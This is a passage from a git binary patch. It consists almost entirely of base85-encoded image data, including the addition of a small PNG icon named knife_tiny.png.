z+KS>|Y;0mkO`TgyErpdj0n})SqjIIXDLd4Vop}J2y#k7or(n=roE-5%c&XyY0Kxd# zMvWm~`ugl!_0$C2Cw&bETOxir`O|T+S#WpT=DR2mcupE|Ax^+#Er{D3n!IDg^}~ikzCi8eNv275@@EqPAr=1Vevpp1)9W zG)YvIh>*D)pzx}1BRFubF%K+Eyg>-oeY8r+$3 zzW2sgdzh7|Zt#5OBVWDzIXahEYXd}9d7RjkddtoOJd1L*kx_5YQYhH-ofSy(b?^-T z>9ddaiCwqo(?~)j#R%Ga7-TnfI|Q?l4hv6Q>Lyb<66WI5#fmf8&jL)+vrH&G3^1G1 z*VL{tfEl;@yTE5eT6iBE7b%B{{8%k2ji+A@C*)G(>zV=~==?J}mjNgd0^eUFdk(HY zG@&@56tu!0fuBJ>E=-MzJRo+x{q9$s`ITD;U;luY5e9+EtpXfV_{22!Q$k_oF$m;L zx0l&f4)r5Uc!_@kd9y(TNy%W|PFpLAB0TWJD;|3dYg_h~RcBh2$#EI)V)EP4DcHK- zeTY=T5FY&T*>`m(_m3h+C|&M&Vj*T9MLsxNEgb7SqkcNO8b2nOK>ghB#B5ZEPdh?E zgyvWjIW(>OleFc!WGU89YxXrpZW%2K@$CCO7fdac#*gx1kyh4Yl&GibL7 zZFI|7$0Jem8oQAhuY|EO+{y!u4|A97eD$i}KQC0dPVkr<#E=N(Ko#RP&SIEz>NNbX z-Vn6`M@&jSndZ|?hhjv{}D^?-Pc z@QFkPf$IFKb`w}qj0VWt{I4a9@lB0hxG=;F2)z<7{2)4IEQkBzwJD^Rz4?x9dW7hG zVqR{)N?mPUf+cV1$oEm}#2+(dA)JjTBadNNnXE&3E7x^m*yDFAcn+F6)3m%m1;|kG z2qRvp+`pt2J)lAC-vR3z--n6<@^fQi$q1=vCy$Z<&1+#Ms2J0L!k@&$q+oBzX)Z(K z%H=Mqpe*XB163p%Fr^Q#&1(R=Yb+H3mznGprVUj?bQ2&3DAC-9`vH7&&l!@+mX+G8 z?U4xEDF4&hIY(#GeEUAOCzu!$+qN;WZQHhOTN6)gCllMr#J265dEaw>cV_On|D3E< zz1P!gr9WM}E9w30s@h-G?4+ZP`H23M(miR$1AM60+77N+W#>qE|1@>DUTzw+F{H@} zu0+8+*L!H|P7RQiJpGU(!}`qCjj^RR3CgozRhcp^dQiV~qteGRiHS)3TEM`wJlTM3 z4fQMjaRKo3$oW1-V0;PTVZk`2^ZAsIKLA+W(Q{u3&(~l8@P_K}#2>3<{KVU4VqEaK@#zhr^2WepZj7lfaxPO}+?)J9DWE zYxg)wWV^&QJ#uvzpP6W-F^wS0s)r2ynG;EFEMPqgV5EnCNxa zC!6x+4kc0%>;V=Tf`IS1Db;9@6Oap1$+~tMBgl?^QI-cwwPj1iGupCrGdI8oLy0ca zwrsRF;@@yA1Zx_b06&%48LVjo-g$L#H!yOFP*ZcWS)eBc&Ix$j5lAdrfpj}47N06O`kzD}yx-|xrX$XnDGtk+Ry3XAsi0R<(=n2P z)BUoAms(v0mW61<@wmgtTusU}qY-F*eu#lLdK7vIB~K=ZX-ZH%K0Q$c7{u<){?*MC zQ}q(}HiZwF^rsgL7Lb?l;eq|r70#V$PG2syCs~FORZ+0Q0LZ9v6`57LPtO^uCLIjx z&ovJ67cwUec-^RdY4U9x<&8vhIwNAs{c9pweN38AcVjAGqkQ|ZKySHsN9XoWUNm&5 z>ht6TA^(j&JWe-8Tw=Aoa&~ zql&rEQtghV9bHtNcs{ZXKqGNZn`NF}d5@Wl>z{L`TuQ$d$k`KGp3h610aP_K{;2eN zZyrUs1^UnskZi6^IOV>a9oV7)NE>xdjxb|C+5%glSH%k}O9LkHu??%K#1* zBqF)Z7da$ZxH`~Q!XJc^hHyid4ngOQA19Q?a$j&0rRU8OIi0wD=8OfO&fg(Q3Jti} z86#MzAEnO)2WFuBvkD4_Tmn%QR$Ny!Xe3rNN9GJKZu#>e#zz3tdvA zqb%8Y96RXU6qLoHi)oLWe!BvP0A|NMWBBaqkD^9ANm!W3K@Sy3u|@?g^%G8jEqG93T$>dk z`J?n4s-mU6y}^+egYmD$uWkZ}{!KV>MP_+lwF%IgHDkZdfT$ zZ()m3;_h<>qZdM8`*?ab7Vs8)f*dBH4knn?uEU{12GX$k1Z<}Ws3Xhor+sR;8=Yf8 z_LVQ;mc}ger>*s1W%=b0s+$oMUfCL4zsDPRxB~4&;t@fhDw<7DPp^_|P0hR*I4J=M zh;Lt!aEd)YA2I}Y9=`(blDFeGFerUL2pKto+Usx?6eI5m@6n{VOjv<*TQ($9pABE} zIubW*x^57B5ZlD-;c@ZkltwEfG3^%aEaQ+Ol{;lk8G>_Wl*VR1KoBGIO|~#w5Qzin zy;M0Y9_>);fgeBW^`a8(Z1YdxU+fy@n4kxEM5&XSa5p%HC;{Ynz`<2*WMuUG`-@L9 zqpWnS-F`aGZXAgxbv@^ti%CIj6lSO)p*I z^p(SD$Zdv@Q>95C351R^fIuwF3LxPdJ~;+_Wt1ZQx627;^1^|DT}AK$`xF3w%Su>Xp=3oqg1sh`tZMWT_Ye(`mANNX@0_iAim84! zXLz2*q5v}O){YM4J6L4pxt`Itvh5X$C)t(fsOPUr^u#DYENb=OX@;-i;qaTM{p$=C zL89bYJKrDGDh2aVJH4CIuJBIVhoYuh`)M1%O!%DwxmAVb zDFO|wZ)VLJ2IK{*wQ=n%Biz@+oIPK5F})j`&zMOvCU5rha;($xf{4SS*#yQ z-V`mOBR*jPt$cj71rc77c+@9SYuRJpX7gqf#nQ1pakcm=HU{eJp8laH*wz2&V;BxjEP~kiclqXFnhD0DJFM@cnDWrI&U7wyQ3fI^uSG%^dy|`G58^xd3j45o(S25okTKO zMk?goGIL8BUXO0{S+wpY1Cw1SH zw>--W@pi|Hh7#Th{EjF!=lJ#r8@-t{b6l9rq$OXTAnHQUy=vJsdjJ)^=g=`15c?&` zq^t)pCxa~OB;__%>z9YdFe=hAj?UZH--RJL=NxyfCa_@TWVY=c3K5i^1A5+kNIxn7 z@rALz48v>;4s45+6Sw6V)AG|-HFrMr9EpYPBIp6DjH^6|kZ4*b}eI<_z z?a*KHuj0X&$&U^;jUIo~ijp_sVU;Opv&bC1@pi+lFjv>C&$oj-pzApM`8}`1AFFTBd7olMhSr#|7CET~MXbwOb3;SojI9B!baFp5n^EP& zcq@H<9`T0xN+ekKX_vFcO^sPiTg?RMx9^=l1(=&~j^A-moJQ|(VAU&b$8WNju3pr& z_dDBWS(o(i^=Ol%@DDaG>`S|87Oa{|{F)fmAGIXL%*G)!8kA0F-TpK&Dh6H!>2g+{G%!Et%mCvU0Cpf`N_*pBf z_?bwsAcSw zDqE(?s(;dqdaU8%oyec~M^`kP*`o~kt&o9s&u2Q4C5!GyrCy@Q?(q2WS&%$pE7!xr z6+o;BqH(QNW3L;U5KV^pv}v5)*&2YN50^+8B^_;P`jETMzl2@#aI%r}LFl@SKYlGt znR|WPRoa?nc-LH`pFtd zRegTe_ruT0IXVsXHLm(h&8rg2Pfg3A9}u`zm{AY~qXOnmb&(o$^e&p5$J>0!s^+6; zvJ9T9=~?H+9z~e4_jBbjTt4_p*wVRGAZF6=8k-v(lH@YknF51f>(YX^Y0=^Qv(CdQ zefojtv3PId_Ce5lNq6Mj0nz-HdN$iSW?p&@GYYoOSEB^+Bd^8^yO)+FlY?eaW?Y>% z6%@^Y-qMR<$mmJa)-U@25}RpMxnv9vBs$2gppb56n6q-%$73=gP6Gys7E~E-sH-qu zXaMLv0|_4BlNKIl{Cj2nh#uLGqS8A3f`gTWT>H__l^re-dDthFEAwu?WGIw<<)11A zk-sg5Uh8waS4Jm+(ExUlx#<-fsov${Kw+%D14~hN+zXrS<8jE>z0e_(YSlXFbRQYV>s}O!FE!!Qov6@o=8s*ZVz(E{) zl&h;qqNV2!LPCwJqox@#Ps{2fkT5#V8%>J!LBGD`%HuIIKLTEz8MJUuMH|Y1Ys?Q4 z0_g$#UPi_Usyi`oo(bgty||b4lU2WWfhb=JxUX{Jkg~~u+{UKmi2PWfWuJ21_pHoP z`r8cF_vj_JJu*NYJ}}ya=K$o(HuN0&<+s}Pkz{7*ic@Cnp3}08g;^?zSbTjPK$#vd zTBd!B>pJGPdnw_jX2%Cch6M%05QvnbhBuv9JdcfCCV_5oWIN|TICL&d&2TSqpa_#N~2?eTLvYj#e`E-8`5YL;Pi{?EKYlnh#fz zfKVoiXNQ8x<^U)#u;|!wg&3qyE&RRZUfWv`Yep7KQaiJiEC9weLwe>wh+8U$z)N}^#2%f>rp2)%OZVGyS{g{G1C_s(EU{FJV z>H=t(C=uvgn~)y){OQOuHRE10)KE*B?Gg_PEwZJI7goRMr{fGy!R1}q{fGMD7naO# zZFb#`PmHX1KRv=6ODVCGN|TnI;3Ty@vKQgacAHTxRYZvDV6zdS^X(xbBu}0Pu2oYr zeP0KJ{n{*YdX_Y}TT8!g#~L+T>&7+Vnd5pYSBDn{u8_$Zzolyqf0g_;$^#(irm4{$VpDGwE*TQ0vw~fY9h3`8u z0H5W(dw&*2nmYH{0<%>i@XkPYS|R@ zE8on({+KMleGxW*ALF#$phCtF+bBCEa{}ieJPqy|I&I4SE|;xW2W|Wd(mK#!nnP8o zDHmCV++)r0O4n{%`{_#@Lc(Xol_O)G%*#%+gS}Y5d9RjCEmwUNRF3v~J(SGVCDnRG z5G*LRG}$!Q?Rs{0qcXdRsVcy+mo{?Ge1kb_dUiNYqi?t>-xstd647G~Demz3+Od@O zjR~BbFynMRf#mGuXTaDH(F!M*97^I2AW=UF!6F%;gP;_rysQgW0;O04phsgNOnW@V|;q$YW%??=Y?>)3mrD@y4`d*g%$ zM4HuU731-XK}tqD*oco@bUP>MEc`|f(S>)B4H_Yz?@A2QOc?#ig&}D!hFlZ9?DPeU zpfJX4WgD+IP1W;;(8Bh!LNBPxYdKrti(K# zfE{zoqU15zGX<7-JNBb^d?#;^!fCPxFK~}5s1nOxZTk!|gX%=Q9@P&D)`C6RAxjXP ztaAgB!TvhcddkOasxId=mj zO_QL?Ktp*I!Z;P;O3d`PRg-Q|K%88=dyXN+c?ii1i|NmhYgorWxCuj2?mst4E6Syo z!H#`u<@O+H15oI9uY9?es88k8(o?Ir?60mkc6kNUta`0B%2m9uqS7$1bxR%>YDZFq zk3Gyx7tb${V~kOArSrz83FT9M83bf%bvr>h9rP*6rw&+JYq>4%0Lv8@wEn^9F>AJDh^Q#RCFoeP2ZDw zDD(_q(BHUQtxbrznKdY7#P-V_tR}rISAgoAqvYLmYhyPI+z|_N3=t*3_vMBtzg{iA zTY7_6lozs}h8H}I_MtL-ypJKh)|2M6kQFP%cY%}2$e>}y-oiRp)&h-5d5q7P)q&v> zvZ=x(q{__2n3(E7n?W9ucc0}q$lHC0v=0@@H0#frV==$?e}2-jo1PQ!D&@FPIlWnG zzcDyC-9As$7 zR-zTLmV7v{20pDz1+a9CUD@|B_jUp6Iad6Nrs{&`v!8UTKKINrG7kCNNllRSRZvIj zcqDn?eo{p4%`162=?>r_K3R!RNfZP84foGgMxOb4UcMizi=I9j{72Kbwy?IN`R7RO zVrgL*MF-bI3nS!AI35SBqD2n?%s&h}J*xo75{u=3aEecq!%s4D&hvxC z(NMAEl)@OYtnL#};zla>#YuD9oZ{?S*XbVQpLd(FSyxX92msLcQ5X#6<8CE|6!@sb zq=ac43|$;dt&FUH-E(5xn3X>*%)mLPP(o&Rpy^LuUvc$0`FcssdjK%belWm5hsj25 z6T~C%xjL*oR_|wHj_MR=!)`B8CRZYXGj@h?QDVik5z3wO^upJ!CC(Z_GzUY?IAJ3o zgHI0l19f3!wEJ%uE(Ub90pdJl4fU9V&WCTplXvZ637oIBxJV{oub!d ziq`80D5V2sHLQukBj2#EFi`B2bl&mSPR_DKC;hR`+0+@VF!o7o)n?k1gZe#C_RNv$_mJe{CHI%@Nqk@5D8N4%(!@hS=s6 zo~QZKy?9vx?iU|!9sh9gM{T$N8Vm;3`ZBr}h7Jyfzr5=iD;eI4hY)lQ{fzs=UVm0F zKc*l?b1)ZKoMr^)lXy*JEIPGfM6jh3cq8hGa!~#@nNZJYo$4>i+yCY({MX14!PH-9NiMjop%RQA47O zQ_*u7UjHl%=jIe_Hl;iI_Wmf!^OaEw+CsnFy*pf@>mt>o%=sgeekt8X6&{>K4yO@$T!H*r55lN4##RSEvGYfu=|aIq|X)k?YKiX6~G=Y3f{&>9u_95J3|o9HO%w9W{4+d)HSHQXw#C?Xk`CFrm(i9`@M|ZBk%^ z8Fxc~8>)BO`jXNC@(w@~Hzr1g+XySeRqKg~EnDm9(Clr9yWfkBMx7>5 zG)T3hxxi%Vhd6BuL#@NlbPF&4a+MI;gxgkr9B2?4F?Q!Nq?5!Q(#d2WZ6K&UWJ+Mw z7SJZ{ewb;0fXQnj8^kQ=5=svKl}1 z$~}X*MEmlp2~)=C-la-svb@AhMhf&R0MHHN`OzbPxQ=epl_fOCL;@IITXu=aJxN_z z_H%q$9c0U{O{zZOFf@6(t71_wt#5O*Qp#Cu%Ny<>Uh2n)eo#i#`Lex28<$%z!Dze^ z06*XR$=eKN$wctJW{LP7pu&~llpNy<)Oc>wNyOOHZm;LzUIiOdESyWMCcx&?ob-*m zAJPv^92TDuXB9S?ARm0n)v)WV1aCz{ZZJ>WmKMMtydfH6ygPDrvs`>~Lrel?FqC5{ zlZ1XPkmwG;qYN>R?7~Volvf*^tIA99^T@J z5Ro1`-waAS@EKHN!H-r&;3$9s|Gq zlqGJR`&B2iXIk0Wm>9u_r@DCo=#aqd6H>^^fEv=^Mk|zi+%;}5m zkUuT9v@T1=h==j%qk3>BJsc1)wQ69Wtp9l<&J`7orXq%Wc8Xmk|z4RqwAZ^iH z95$901m0RiqfNC~I@ z@K6s1W)ZoFWjkOM>L06c6jw%7t#u)6WwZfb>*OJANjk!grL71gK-l>i!wT8=N+gj0 zpBk7>MsP5y<$2b4ph~eB3k;FUT*Z>OW&>Pg!?OU`qb0~sGsN<4E-bDQ||EV^|EZ;De zkZ2?x%x~igkYu~`j^d`bT2fNGrAMy(>mz!~Tj=8N)bc4|gn~>er+UwT=g5%3TveiJrJV|<%}znx<0RGFCyHuTTNhctomBB zYtjb!f8W2w_NKMKU&y%%iwmw1Y! zc%cDcm;$7=lhqgaKi}ShEq7zYAC)utKg!hp5k6WPI_Ul?Rr@QzsZg_w-eN_1Qo`G;{u;vb0^syGmaLlku(e~bLTZ;LNF;-ERZ>z`^J+e!_ zjIwuk|4L1}Mi&kV8w^`y$^wJ+gdA(bVBz7Nnf4lV`Ft>Py0&_rhrO2t=tJvt-y0Ns z0M&ZojNgEfPXqSiJTm!H^Xs=}^oXEHs{L4VRa{)$v1q6Gn#f%kFyIj@)rurYR3i_F z=0=v@hsKOTgS3rBW5TVCO#J?}Fk+8I6J)KEyg2TN^b!%t?6dNAG}WrlWwe4`rf5Wz zqM5uMfxvCO_|e_-)yUIJC!D8N%4*Lcu{M&0?Tx**JC8tJHZeV2{YZTLI3VI13xr)j zM5-z_Nt;ET+(t1o*U<9z*fE;>wKYtKcf2VpbiFtOpB}ttYce}b;YX9M%^FveP8-0# zt=d~Y&$CyTPmkiQ&j+)oMVUJ*VD!}l5j)?@3znYJpWjP$cwwCmOY zYy9@;qa8tK44yM;d|eqLia;ZAVB`feEnV#Tup$H^I^$prBK!S_ydV4P8yVPzp{1(kW(CFgwIY)-A2sr!CU5iW}rw0?o@AP!kVN-eL9G$8Z8|3_d^Sz%sKslP*{`>W$3u= z=aGjPwkW$vK-G?p!WdTw*S?MFDJs-w=?JgUrO~&{SfFay-=-G^CXM*mjOzY$*%7^$ zNJYIm!N$AEpGPD{oA(FV#N_kfII3IDl;&n9#eEX3Fw+5m?p$=#4du2 zKGiClJ8o3(Ut>iSeAc%DE#23S%T~!ybTrm9z3G8iu|C`ui@Yf*&C>DJ#~|$4;K_IL zdQd=4&f#&G#BIs9Z$~ZC{b?$Q6JE`F8Vn2gH6=Q{hyk+uqGf}t^-h0G1+ zjz7ds5h96%vCpDMe*z1fA&;od9e2UEa&4{BoaI5G-{sompo!~$R55--;En53`H2RE ztrN6;ngHS}n1F1dh z%pqr2w=u69q*6@O#f>6yqx6VVY-&J}w17W7%Vol_r|^qpqUrif3G*1YEEE{zz{zT+ z>$5fTrpw~N4Q4YX8ca(dfL3L0lME-3;j)aNk!1z{J0(Kt+X@TY(OzD^hg@Q zH)dC7XZCB`6Go6-5CXb=0;Ep*&>%sKK|GT@!iIN?h+#>$RqZEc=Nd82qWO%3F7OGG zJ8zULc3A#9h1+{y*)2MM8|gOJzN<1e~sm%U`dC|VlY8nvukFbz!Z zlVt*#m+C*wllraGl9*n=kslyWK|_ic!+EKw8F2u`3P(+J6?5Y~0Q6?xkD z$^^yFTCsU$7LGTRJOAJ=I(_z&>=Zf_mA(*?QJk=IHd;t6W-%;47gS!fE`}}A^-dz( zPcA@hLpl0c9W*}j_PRi|lDa6y1YaLxvV~v5l3NpGdnuYnZS{<1u3Oc42MT!9yi-;4 zyec;SwPnGr5~?#9aW@;%@%7ftSMX6P0WI-6yjYV9yw~>v?T17ZNut*8=$o#H#@N6- z^3(jy1%Q0h%$P?JBwB4$xMOzZ4BilpTZ*Ls;-PSM(T#+H;>$LaGu<6-0c7y@ig}t% z4**;Pxd9*JX6IdgAbj9iyEMo?YbVO<+wS&DjB6LepXH6gA-!`Y^_kk19!Z6ltkJ_%C{H$S1N~JKU+5KxmFgomQ~r_u`c-HAKbT+T z_H|9I4DEiQ665%!f$r^=(Y8v$zh1TzFH?kaY378s@ZVBqS}%h^dM; z>CP`>bJeXfiOfTWT#y~sv}A#b+n5)jpI&YzS7d86M%j1iB>WMi)55XibMytz4CzDj z9b#ORR={~r=MDfEDlI*5uTHnge`YE_LOAWi$|d?p*FPDmjf$#j-f&k&1lBF%niddV zm6)u-n(=Ac%GF?0So)3n=g6x8>c!{I(aUe~VlM4O1NaRil*`g5-&b4K3a=_vDIG3K zMd`&PR54JG_a3atU`QN?+SUXc0nEUwP9CQ(3%Kgv1Srh`&m!nr>clT{m%%RL0xtk4 z?Ru9az%;`}baEzH(R;Upzmy!3xsigS$tj~SS&URZJj2Q#ykNaWVUITIKOfQJ%s&JN`egrg@Grl9q;>w0G5F^|_e;d!RAbc~OA(o8sgfKO8JSN=r5n7ve=lE5 z4LOcc@@Ik-i%~o?nOBt&iPIRd>V2=*fdDe!q<7cE02BdfnDmjpwqPLlb16Ilgy#)k z=>GOvDo1T=eCkr>o#8nBQtI<1$9|Uk8JqE$#a=FDSGuc?+AHM%_!NQ(hMdS5l_+U0 zhd5ftqq8?kbTkjalb)LQzQU^|=g3ln+wp_5he3GBCF0!dWYn`4jP6IAFR~ox+JLp z=7f4x$O26-X+#$!r|_8#d>$iKIkzO)ZDx1A9(hk$geOF~9?+HP&$6DzvC~7Xbw;4- z+w5;8>+||E*`1zm{-&>)hgDb;_4zw!8w6gRKt#oPaa3(mq`3h|;{U(HRZ)@A=m0%M z=la8r(OaeI`9~y`41bpCN!QwVceW{H(nD?G4@zaii^6<%1%cGk$_Q;)7of=sZ&(*b ze$rJIvrnR8$ysEq1Y4Jqulcd9hw4JUGJYjW?M#QqXX>*{Le6-DgyH37Q_yYYhAS0g zwETl+5JhPplGbStvDREwA7%2?5=NGGpBz8#z(mL~gNfBKSmP(U>lT9xjP2lI|9xUl zD#7EuDX{L`0MXs3REz{{)`R2fJnbXjj>uc8c_o|$$_gU#lI=NyElWM^k|M{Ga*Wz> zyIb>8M~3Lzbd^S5rnG&sJ?(w3g&2X*{nA3hqH4;j6(&+W3TTP_7;WISjYn+A0GqV^ z4j{B9Llk8zDur|A`v&$W@c4JEEbCh4(My_IZvyz~21j&-Jc9Wl6UvP3eMH~Acvg+x zw*eqs%4(@WBdMzug+-@4(_)Zh#BHdklCf6|U&mTMrk*lT&>zKBo=$nOSVdDks0czQ zd={^y>X{jzl3~@47(z68SNBowHRtVdCMX_CezH&0p6F<(gU>}{8E`GlGlJ#26ifhK~AEobQ#OJvk1Uuf;C)M96+zoW2U!6?Y3NstqnFN zYeYqDF$4DE&B0=_hOGL7pP5yOh3?F%=2m03ttRxrE*f!Qkm!5t+=-1tLI^u4wcau8 z7kRKfmBve_DiIu!uL~`83|=(Xlyz(b$`5PdHRsIk-Z_;nj>zX5myqi2@;8#I zh+L~(e=K)pl`Ngf{iMj0V+ZT$9QN-YUp7)Q0UU>PLZh7yiI$iK=Z6cPpTr+`@&4{^3)34!6a> z;0)h>x$1f)JK^}5%RP3_wSuyEw5jjyss-Eg+bowe0-=4qg9uEx!VhL9%G{6Ld*&s% zMjus{r0m};tLGL}q<7Mn%dxMLgtEj!9fj_=C6jE&L|Tedj&o_37l$dP2#qQ~aWmM^ z4!eOQxUMx%yN<&xe;NzOO5FHKQ?-!$aPR<Rv6lVs+@SKA|QMyR{beLc<)Nwt_{6*iU3A{1ktqEjKB6N!A?RX9Jb^=Fn&pa@N zBUC843RWm9SusfXot9tAZdQc4-QPB$eUMoKFQ2OPIlQG^V(Mlp&wsm-q$YrfQ4U*r zxh;PVU46`jA*x3D@+oY(bJ_cPY&xOI^U zBhVV#mtfdvJXFdzRi%Jh3Un_Izdb>QpXpgu&b`q#b)4N=`UTP_C|LHHt`WgKQxtsj zTz#AD6CxuixHYL%oYp=k5Xu(q;@l>-+=n}aO#O8Ut4XfHEGH4gK18q!?fSG>mhZJI zEm-KrXgj7;4dD0(AuI3wMt27mJOj>YNcBn8Z-gSDkQtAP8Ii7(96e67r6=8ABC=T{bL*vRP)&%wmZrEy zn3F6qNNw#mJvDZ1NAQfh?h1CrW^8&Q4!u$0j4{wjGj9XVJV#C1= zf=i7@8ZjzZ80$w9{M~21OKQQ3sBs1cV;ZsO@9y8#jK~qu~AoFk$<+u zg9#R@2(ZlsgykvFM=i)ZF~W>UFC3DD)K2acRen^m`xoRXQy0iEQgH|=TDLtBI~YDy6wP-gLdXqKPb=g^KcSzrF9z#d+M=IjIn^JcYow5eD8EV0_Qc# z%9EGA;(4$j+i{1h701nT;!+;EB|q8IZYZi@Hgk7w;C=ah>yZ)pU9@|8;r$H02+*jC zGjZr!&5{Lsrs|d|8HKBf$a4m}`O544=p$^uR1QuiBgmB;lLnu~j#&E*moxx30`0*<#UR9xdot9JK0+KkBCh5?p!gcv| zGcH3p!Bo}dccCKd51H5N+Qc_uAvZfh@(qk;4#9?3nWVjl@xv2Une!^KW9P+_^AQdU zFRz^i?Vr#znXem->O3CryU&f9ybLTI;#>=XeByMX&Ehk*wb*iB=}Td&z13<(*=TG^ zZ;bd5&V9VZ;8vf~tU;%(R}Y1x+J|5_S}GUc60R^6m?zasR{Z7Y9T8hN*lvkgkdMTC ziv7iVyTFK;@3tblVU7f};-|ob{Ml?|iA#*9omK{%Nf~|fLN`$ zW>}y5FE3hYDrBU1FQYsj-S3S~^ufBgi@p25WM}>G6yZ%_bM+2ZQ1~`dqCGDEzRmKM zZ#VU0Q|9y@XDqPy9%0CRu!(scZ{O0m1$J6e>h|?xvKkPG>epQ4N7n9_&J;m&XA#v$ zk{P|2(I^ z?ccbehXi_ZU;qH3kB0mQZW;Ig#r;j8u1xxe^0)n)lKyZ^Bl00+*7@PQKRdss1;3=4fnJEuPeAE#aNKe)f`-#FU$#rM<{5CC~z@DH)G--mTG$N!7_-ED?l{}TST ze-r)`X#1VuGYj&^X!u>O?ROFfRmMMk`P=?Y`ct^=chdB4r2m$2``-}$l-v59;I#nq z{}JE%oulC{{i?<2I2PwH2)jSpG!x6#|RVrcR&7INb)Px#1ZP1_K>z@;j|==^1poj522e~?MF0Q*|NsA`*`M72000SaNLh0L03C(^03C(_ zU7{0#0006hNkl541i(K@{F9x;RPP64QFiYGBR@+ZiOAV1(v{&fh-sR zpTI`9-|UhTSykbz+<6U00Y@VvJfo*fZyS@@K~safpQwi z7eLs7mZ~9o0}!Hu7btZ`h#u3i0|X5(JVC+Z>Xpt7>QPSx z{ujbjIXZnz#JKp7NLzfLF& zp?quOwG0Z$3lhVfKISJP!xeu`;P>B8_>{wemH{7Mpbp>+_yKN$Wc-Aqjxi*|!#Sa4 z#OoQKkc^P-x$BYn8H*bk z;{_u_f!iVWStq1Es{+46)?>=@4+T{ZAzSDbykPz*qaK1!ZvO`2e{fa)qDZi=ivR!s M07*qoM6N<$f{U*iYybcN literal 0 HcmV?d00001 diff --git a/images/icons/knife_tiny.png b/images/icons/knife_tiny.png new file mode 100644 index 0000000000000000000000000000000000000000..02f6dc3b5b5cfde77aa981f8110d0fd3778fbe0d GIT binary patch literal 66579 zcmW(+Wn7bA8{R-d(n7jbK)M8EgtUOPAgv-If0V9~LnI_dgAxNtky1jsJ4ZJgFkpnT zF=AuXJKqn_&hPp3oOAATU+2EB>)K}{18sU5HW~l`K>t)n!-O|dbf%g0r1?l~|yN;z70Kggb?*S%k9ykI3S4B@Xo|yUD z{aK-EaMVmw4%*IUefJ<#rz>B{~S3t1h!W^-8WBM<|;Wuh*P-?@Ib_2BxlFf zl~M)gY^9=?|0+4gzLQL&7!x>)pRG`I5~*qw=nJTDu`MGD zl2iElL ziIdbULWdv82;&T^n7r$?zVdtJ(vc|W)Vdsm9G)LB9C><3^WE3##ngSh^qD}5#-Znt za;-bjR|1R9dWm&&27Y7gOMGo6+O?KyNS{=afFL^8Ieyrd|{pgjQf809$cm z3g~R(29+^*JKtZxB}MWq)VPw?!YO|TU$-nCau6FeQ)XdtV{{2@3_ROS7OPB6&o%YG z*t55PBIPG~c@HsuBpqj->TwXu4HB_zdikQZ0niAs8>U}YZGYMMkqtp!`-@uD%{C)P zPFJblvUd9=dQI1&N$onm-Dt=;;N40_T@ey~^N2|IAroGaU$+-YkFMk%vu^)ZJT^h} zDH=8&E0Uh*0rkJ5!ip!F#d#?KTsg6Ot9Ftn8SUqrrg=gan`B2h|3$aIp*g3xw;7b6 zbi$@g=wvkKHHYkN;o^( zRZRfx3afaGzA4>#k$CXV9sf^L5PM=*Y`VpGlo;t)Fd~Vw_5TTuyn1hgn4KI6x;(B5 zt=J)Lxa|3cfC?Lo(9=KHcDjC_HOH-^ilGc(b#0aCAFJ~B8j&^j?xp>KZU(3F#g3sl zmCgf4=Yy;`_QM*5kowdS!E33FTVHAl(3cApMgN}&Bath*MsnRkBcide?c1D$ZnVVGaho=p{8pNN89g*HISv zI-zFjVo^M3jkZX${SAc%I}=q9WWvwRt^iVI`}e=@s?dwQn^=LUE^A$B@@P{sHAhyX zo+4xW^L_eTLm7BSi7JXjU{*JbWW)s3Ix*1uoR2jf@vQs+0t zLl@SxRftc5(Jk$F)vf&Ag8fV^t<|K-zmIa%e!oTn5+ti@5Q^P=TyC7q-MZoSDtSv= zn{ucsW&woMrUJH4T(;s7UjD<@2$}349JemBL-$*brDcH1otL^b(3jfZ+rxie)gp?9Sl0d5>;75KCWx?W(GGeqUj^_`m(&I8iv)^& zKM-yLsO=<#o_CXS*I(5~%|C_gXQ$3e66NmQOL5z#27|e;O~cDq{;|1&d7}*Sh*Bu7 zeM`2AE9C0zcCr7Lo~31Dz)k~I%budz1!paj48@VhZkYX;sHM`{r`wVJ$|t|r!?^s% zhth_lT2B@WK5j$EPq>v&OB2k;b8AlGc4Z!9C^1hHm^{f_s}Tp#`ZRMergW!amZEej z?l41tR6_1k78r(FW+dW zTn^%+mX^27eIl&c$6ZAE++|d2cd7w=Wm{Zl^V-a)Qx8#c35VLXPK7p4W6=UE4cAdH1yv^BKpa<^hV7Qs zQf8j|EC{R5eXI}pu+?62HXvvK0X{fSFn!S)Ft@e<4{?>8p3*iP%}|vi7CS z=iOtb40MAI9E86?0nc+?wjanfKDGV%$*`U7w`Q9i-r8_*W zcN;)P_7S24uS;wQzSzp?jWwsUXkRog+Pt#)uyYW`f#MJP0A1&}g^=DNT{G}*R4#UV z?N$_*4HeTtV!GWa{ZEQQ+6<<)V58cg7j>TXG(^5($F z;)LIqDsxpH@h)_^mq#To!s1eE-`6+Z3ZwL|^#E&U!uvVA%qqBBxPq`xy0w*Y-*7fw z3=@VO$jWD9_5Uszz%7(RG&D?*(z}3t<>j=vAz|nXt8%wpV|B%_+nT5IUl;qvy5bI| zZZ~LN7=mZ<#uWxEp6dn#KkJO6%b^K=z? zn4O#!jcPo)(d8g1pqcaq+o8K*GEo;p7HuuQ;Q#K(P@HW4m?#9v75|&QNt^_4&E2(B z(@S}q!%T}@sqIq&LRfP_r)@z<0D)p4uwEuK%)ihno4 za~!+ZBbujCTOwO&=O?UOhhO^XREQG^|Lw7~Jvdl4?Q-h-K=Vv5bd4PE!o4OUw30|c z@zYdPmemUUK_UUQ2KjW>ksG){!6ACt$*lPEH?fjeN){rwD#v+h=I3!ADSQOi{g>!- z6b5hd9nSj}T!oX^A)26)9N%5{sjN%u3h8^gffKQIMtd@O3FJD%Dnf7%n(YaOReM#P z;Y{->h47cEl-;*>F~65wyDOXbt>{DAFT`X(J5LQ+85#-qqhy=^J_nM^tBNlhHqfaG z7Hnm!2l@_5ggP-efSdrrhW$XuCL|Aa!LHD!)FrPT$Hfvge<7d@GmF%uypuXZ&*3o zJ{TUzkW1(h(CQc_etatR;d)L@<#m#pFl8rB9_-MN_nBXRk3Ya;7VY_wwWEuyDnT-`daEZ~T2f)wQE%vwq8G zSh!{6cW;05W`mo5_a4ovZhb-RtO-O`hw3Me5i2|c4n*D7>|4Be*OEBlWp!ROe0P>H z;AGx`jR1Ufx_)o*aBS(wt{Dl_-1o|Edp?ftbFo?>E%D|vpjE)hVohWe=uc-iSKwde zKQdL=>UWpeax|#f&OQ_oNfQ7e4UNZ{eh;=3v`F;}@ZKsL#xU#SW846L)aGzT0^PEO zAGFBof>b`V%ZIPTelvWxSz^_l&5sX5>NH)-~d&{c2%OLXh 